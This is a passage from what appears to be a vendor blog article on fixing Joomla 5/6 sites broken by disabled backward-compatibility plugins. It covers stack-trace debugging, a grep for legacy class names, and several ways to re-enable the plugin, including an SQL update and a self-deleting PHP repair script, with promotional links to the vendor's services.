&lt;p&gt;The reply in the thread was to ignore the Deprecated messages, because the stack trace is the list of files the code passed through and that is the only part that matters, and when no trace shows at all, to delete &lt;code&gt;/templates/YOUR_TEMPLATE_NAME/error.php&lt;/code&gt; so the template stops hiding Joomla’s errors. With that file out of the way the trace appeared, and it pointed at &lt;code&gt;mymaplocations.php&lt;/code&gt;, the system plugin of the My Maps Location extension. That plugin had to be removed or recoded before the site could run without the old class names.&lt;/p&gt;
&lt;p&gt;The first debug output was posted at 11:15 and the plugin was named at 11:36, and almost all of those twenty-one minutes went on the Deprecated lines and the missing table.&lt;/p&gt;
&lt;h3&gt;Why switching extensions off one by one rarely finds it&lt;/h3&gt;
&lt;p&gt;The owner in that thread had already switched off parts of the extension that turned out to be the cause, and the site was still down, which is a common result of this approach. Disabling a component in Joomla does not disable the plugins the same extension installed, and one extension can install a lot of them: My Maps Location alone put ten plugins on that site, on top of its modules and component. The system plugin keeps loading on every request however much of the rest you switch off. With the administrator down you are flipping rows in the database and reloading to see what happened, and on a site with more than thirty third-party plugins that is an afternoon’s work. The Call stack table names the file on one page load.&lt;/p&gt;
&lt;p&gt;With SSH access, a search is quicker than reading traces. This lists every PHP file outside the core that still extends &lt;code&gt;JPlugin&lt;/code&gt; or calls &lt;code&gt;JFactory&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; -rlE&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;extends JPlugin|JFactory::|JComponentHelper::&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; --include=&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;.php&lt;/span&gt;&lt;span&gt; plugins&lt;/span&gt;&lt;span&gt; components&lt;/span&gt;&lt;span&gt; modules&lt;/span&gt;&lt;span&gt; administrator/components&lt;/span&gt;&lt;span&gt; administrator/modules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla 5 and 6 core files do not use these names, so anything it returns belongs to a third-party extension. It also finds extensions that will break but have not yet, because the page that loads them has not been visited since the plugin went off.&lt;/p&gt;
&lt;p&gt;When you are finished, set &lt;code&gt;$debug&lt;/code&gt; back to &lt;code&gt;false&lt;/code&gt; and &lt;code&gt;$error_reporting&lt;/code&gt; back to &lt;code&gt;&apos;default&apos;&lt;/code&gt; or &lt;code&gt;&apos;none&apos;&lt;/code&gt;. A live site that prints stack traces is telling every visitor your server paths and extension list.&lt;/p&gt;
&lt;h2&gt;Getting the Backward Compatibility plugin back on&lt;/h2&gt;
&lt;p&gt;Turning the plugin back on is a stopgap, but it gets a broken site back in seconds while you deal with the extension. Use the first method that works for you.&lt;/p&gt;
&lt;h3&gt;From the Joomla administrator&lt;/h3&gt;
&lt;p&gt;If the admin still loads (a broken module or component usually leaves it alone), go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Plugins&lt;/strong&gt;, search for “compat”, and enable &lt;strong&gt;Behaviour - Backward Compatibility&lt;/strong&gt; on Joomla 5 or &lt;strong&gt;Behaviour - Backward Compatibility 6&lt;/strong&gt; on Joomla 6. On Joomla 6, open the plugin and set &lt;strong&gt;Classes Aliases&lt;/strong&gt; to Yes as well, then save.&lt;/p&gt;
&lt;h3&gt;From mySites.guru, without logging in&lt;/h3&gt;
&lt;p&gt;Each connected Joomla 5 and 6 site has two audit checks under Extension Information, one per compatibility plugin, each with an on/off toggle. The toggle does not go through the site’s normal page load. The mySites.guru connector loads only Joomla’s behaviour plugins, never system plugins, and flips the plugin’s &lt;code&gt;enabled&lt;/code&gt; flag with a direct database update, so it should still work when a broken system plugin has taken the front end and the admin down. The same switch is on a single page for every connected site, which is how you check or roll back a batch of sites after an upgrade. The toggle changes the enabled state only, not the Classes Aliases option, so on a fresh Joomla 6 install you still need one of the methods below.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/extensioninformation/behaviourcompat6plugin&quot;&gt;See the Backward Compatibility 6 plugin on every Joomla site&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs on every snapshot, twice a day.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/extensioninformation/behaviourcompat6plugin&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;In phpMyAdmin&lt;/h3&gt;
&lt;p&gt;Open the site’s database in phpMyAdmin (or Adminer, or your host’s database tool), click the SQL tab, and run this. Replace &lt;code&gt;jos_&lt;/code&gt; with your table prefix, which is the &lt;code&gt;$dbprefix&lt;/code&gt; value in &lt;code&gt;configuration.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt; jos_extensions&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;SET&lt;/span&gt;&lt;span&gt; enabled&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    params &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; JSON_SET(&lt;/span&gt;&lt;span&gt;COALESCE&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;NULLIF&lt;/span&gt;&lt;span&gt;(params, &lt;/span&gt;&lt;span&gt;&apos;&apos;&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;{}&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;$.classes_aliases&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; type&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;plugin&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  AND&lt;/span&gt;&lt;span&gt; folder &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;behaviour&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  AND&lt;/span&gt;&lt;span&gt; element &lt;/span&gt;&lt;span&gt;IN&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;compat&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;compat6&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It enables whichever compatibility plugins the site has, &lt;code&gt;compat&lt;/code&gt; on Joomla 5 and &lt;code&gt;compat6&lt;/code&gt; on Joomla 6, and switches Classes Aliases on in both, leaving the plugins’ other options alone. After a Joomla 6 upgrade the old &lt;code&gt;compat&lt;/code&gt; row no longer exists, because the upgrade uninstalls it, so on Joomla 6 the query only touches &lt;code&gt;compat6&lt;/code&gt;. If your site has Joomla’s System Cache switched on, clear the &lt;code&gt;cache/com_plugins&lt;/code&gt; folder afterwards, because Joomla caches the list of enabled plugins.&lt;/p&gt;
&lt;h3&gt;With a script uploaded to the site root&lt;/h3&gt;
&lt;p&gt;If you have FTP but no database tool, upload a small PHP file next to &lt;code&gt;configuration.php&lt;/code&gt; and open it in a browser. It reads the database details from &lt;code&gt;configuration.php&lt;/code&gt;, makes the same change as the SQL above, clears the cached plugin list and then deletes itself. Give the file a hard-to-guess name, such as &lt;code&gt;fix-compat-7f3a9c.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;?&lt;/span&gt;&lt;span&gt;php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; * Switches Joomla&apos;s Backward Compatibility plugins back on, with their&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; * Classes Aliases option, then deletes itself.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; * Upload to the folder that holds configuration.php and open it in a browser.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;header&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;Content-Type: text/plain; charset=utf-8&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;_JEXEC&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;require&lt;/span&gt;&lt;span&gt; __DIR__&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;/configuration.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$config &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; JConfig&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// Joomla allows &quot;host&quot;, &quot;host:port&quot; or &quot;host:/path/to/mysql.sock&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$host   &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $config&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;host;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$port   &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$socket &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;preg_match&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;/&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;(.&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;):(&lt;/span&gt;&lt;span&gt;\d+&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;/&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; $host,&lt;/span&gt;&lt;span&gt; $m)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    [, $host, $port] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $m;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;elseif&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;preg_match&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;/&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;(.&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;):(&lt;/span&gt;&lt;span&gt;\/&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;/&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; $host,&lt;/span&gt;&lt;span&gt; $m)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    [, $host, $socket] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $m;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;stripos&lt;/span&gt;&lt;span&gt;($config&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;dbtype,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;pgsql&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;!==&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $dsn &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;pgsql:host=&lt;/span&gt;&lt;span&gt;$host&lt;/span&gt;&lt;span&gt;;dbname={&lt;/span&gt;&lt;span&gt;$config&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;db&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; ($port &lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;;port=&lt;/span&gt;&lt;span&gt;$port&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; :&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;elseif&lt;/span&gt;&lt;span&gt; ($socket) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $dsn &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;mysql:unix_socket=&lt;/span&gt;&lt;span&gt;$socket&lt;/span&gt;&lt;span&gt;;dbname={&lt;/span&gt;&lt;span&gt;$config&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;db&lt;/span&gt;&lt;span&gt;};charset=utf8mb4&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $dsn &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;mysql:host=&lt;/span&gt;&lt;span&gt;$host&lt;/span&gt;&lt;span&gt;;dbname={&lt;/span&gt;&lt;span&gt;$config&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;db&lt;/span&gt;&lt;span&gt;};charset=utf8mb4&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; ($port &lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;;port=&lt;/span&gt;&lt;span&gt;$port&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; :&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $pdo &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; PDO&lt;/span&gt;&lt;span&gt;($dsn,&lt;/span&gt;&lt;span&gt; $config&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;user,&lt;/span&gt;&lt;span&gt; $config&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;password,&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;PDO&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;ATTR_ERRMODE&lt;/span&gt;&lt;span&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; PDO&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;ERRMODE_EXCEPTION&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;catch&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;PDOException&lt;/span&gt;&lt;span&gt; $e) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;Could not connect to the database: &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $e&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getMessage&lt;/span&gt;&lt;span&gt;() &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$table &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $config&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;dbprefix &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;extensions&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$rows  &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $pdo&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;query&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; extension_id, element, params &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; $table&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;     WHERE&lt;/span&gt;&lt;span&gt; type&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;plugin&apos; &lt;/span&gt;&lt;span&gt;AND&lt;/span&gt;&lt;span&gt; folder &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;behaviour&apos; &lt;/span&gt;&lt;span&gt;AND&lt;/span&gt;&lt;span&gt; element &lt;/span&gt;&lt;span&gt;IN&lt;/span&gt;&lt;span&gt; (&apos;compat&apos;, &apos;compat6&apos;)&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;fetchAll&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;PDO&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;FETCH_ASSOC&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$rows) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    echo&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;No Backward Compatibility plugin found in &lt;/span&gt;&lt;span&gt;$table&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$update &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $pdo&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;prepare&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt; $table&lt;/span&gt;&lt;span&gt; SET&lt;/span&gt;&lt;span&gt; enabled&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;, params &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ? &lt;/span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; extension_id &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ?&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;foreach&lt;/span&gt;&lt;span&gt; ($rows &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; $row) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $params &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; json_decode&lt;/span&gt;&lt;span&gt;($row[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; ?:&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;{}&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;?:&lt;/span&gt;&lt;span&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $params[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;classes_aliases&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $update&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;execute&lt;/span&gt;&lt;span&gt;([&lt;/span&gt;&lt;span&gt;json_encode&lt;/span&gt;&lt;span&gt;($params), $row[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;extension_id&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]]);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    echo&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;plg_behaviour_{&lt;/span&gt;&lt;span&gt;$row&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]}: enabled, Classes Aliases switched on&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// With System Cache on, Joomla caches the list of enabled plugins&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;foreach&lt;/span&gt;&lt;span&gt; ([&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;/cache/com_plugins&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;/administrator/cache/com_plugins&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; $dir) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    foreach&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;glob&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;__DIR__&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $dir&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;?:&lt;/span&gt;&lt;span&gt; [] &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; $file) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        is_file&lt;/span&gt;&lt;span&gt;($file) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; unlink&lt;/span&gt;&lt;span&gt;($file);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; @&lt;/span&gt;&lt;span&gt;unlink&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;__FILE__&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    ?&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;This script has deleted itself.&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    :&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Could not delete this script. Delete it from the server now.&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Visit &lt;code&gt;https://example.com/fix-compat-7f3a9c.php&lt;/code&gt; and you should see one line per plugin it switched on, then confirmation that it deleted itself. It does not bootstrap Joomla, so the broken extension never loads while it runs. If the last line says it could not delete itself, delete the file over FTP straight away: a script that writes to your database should not sit in your web root.&lt;/p&gt;
&lt;p&gt;If a client site is down right now and you would rather hand it over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; fixes broken and hacked Joomla sites for a single fixed fee of £120, usually the same day.&lt;/p&gt;
&lt;p&gt;We ran both the SQL and the script against a copy of a fresh Joomla 6 extensions table, where Backward Compatibility 6 starts disabled with Classes Aliases off, and each left the plugin enabled with Classes Aliases on and every other plugin untouched.&lt;/p&gt;
&lt;h2&gt;Why didn’t enabling the Joomla compat plugin fix it?&lt;/h2&gt;
&lt;p&gt;When the plugin is on and the error stays, the cause is almost always one of these.&lt;/p&gt;
